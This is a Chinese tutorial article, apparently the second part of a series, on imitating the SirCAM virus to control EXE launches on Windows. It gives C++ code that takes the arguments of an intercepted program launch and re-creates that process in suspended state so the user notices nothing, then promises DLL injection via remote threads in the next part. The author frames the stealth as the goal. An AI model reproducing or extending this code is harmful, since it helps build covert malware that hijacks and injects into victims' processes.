王朝网络
分享
 
 
 

仿照SirCAM病毒控制EXE进程(2)

王朝vc·作者佚名  2006-01-08
宽屏版  字体: |||超大  

仿照SirCAM病毒控制EXE进程(2)

Chapter

2

利用得到的EXE启动参数创建进程

既然传进来的”%1” %*实际上是用户启动的EXE文件的路径 + 执行参数,那么我们得到后,就依样画葫芦,真的创建这个进程,让用户感觉不出来实际上是先到我们这里绕了一圈。

代码如下:

//========================== 3 ==============================

//

// 执行用户要的代码:

//

DWORD dwInProcessId = 0;

dwInProcessId = GetCurrentProcessId(); // 默认赋为自己的进程的ID值

int nLengthOfCmd = lstrlen(lpCmdLine);

if( nLengthOfCmd > 0 )

{

//======================= 3.1 =======================

//

// 来执行用户的命令行:

//

STARTUPINFO sIfo;

PROCESS_INFORMATION pInfo;

ZeroMemory( &sIfo, sizeof(sIfo) );

sIfo.cb = sizeof(sIfo);

ZeroMemory( &pInfo, sizeof(pInfo) );

// Start the child process.

HRESULT hResultEx = S_OK;

// CreateProcess之时返回一个BOOL值,如果非0,说明成功,

// 如果是0,表明失败,用GetLastError查看失败原因:

hResultEx =

CreateProcess( NULL, // No module name (use command line).

_bstr_t(lpCmdLine), // Command line.

NULL, // Process handle not inheritable.

NULL, // Thread handle not inheritable.

FALSE, // Set handle inheritance to FALSE.

CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_SUSPENDED,

// creation flags.

NULL, // Use parent's environment block.

NULL, // Use parent's starting directory.

&sIfo, // Pointer to STARTUPINFO structure.

&pInfo ); // Pointer to PROCESS_INFORMATION structure.

// 检查CreateProcess的返回值:

if( hResultEx != 0 )// Success

{

dwInProcessId = pInfo.dwProcessId; // 既然新进程创建成功,保存它的ProcessId

}

else // Failed

{

//----------------------------------

//

// 看错误信息:

//

LPVOID lpMsgBuf;

FormatMessage(

FORMAT_MESSAGE_ALLOCATE_BUFFER |

FORMAT_MESSAGE_FROM_SYSTEM |

FORMAT_MESSAGE_IGNORE_INSERTS,

NULL,

GetLastError(), // 找到我们的错误

MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language

(LPTSTR) &lpMsgBuf,

0,

NULL

);

LogEventEx(EVENTLOG_INFORMATION_TYPE, (LPCTSTR)lpMsgBuf);

// Free the buffer.

LocalFree( lpMsgBuf );

//

//----------------------------------

}

//

//======================= 3.1 ==============================

}

else

{

// 如果本程序没有输入参数,就把InjectProcess.dll嵌入到自己进程中

// 这时dwInProcessId就是自己主进程的ID

}

怎么样,用户是不是什么也不知道,他双击运行的、从命令行运行的EXE命令都一如往昔。

但是这样就算完了吗?

既然进程尽在我们的掌握之中,那么有什么我们做不到的呢?!

接下来,我们将用远程线程插入DLL的方法来把我们的DLL注入到用户的进程的空间中,我们的DllMain将首先被执行。这个DllMain中可以写些什么呢,你发挥一下想象力吧!请看下回分解。

-----To be continued------

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
>>返回首页<<
推荐阅读
 
 
频道精选
 
静静地坐在废墟上,四周的荒凉一望无际,忽然觉得,凄凉也很美
© 2005- 王朝网络 版权所有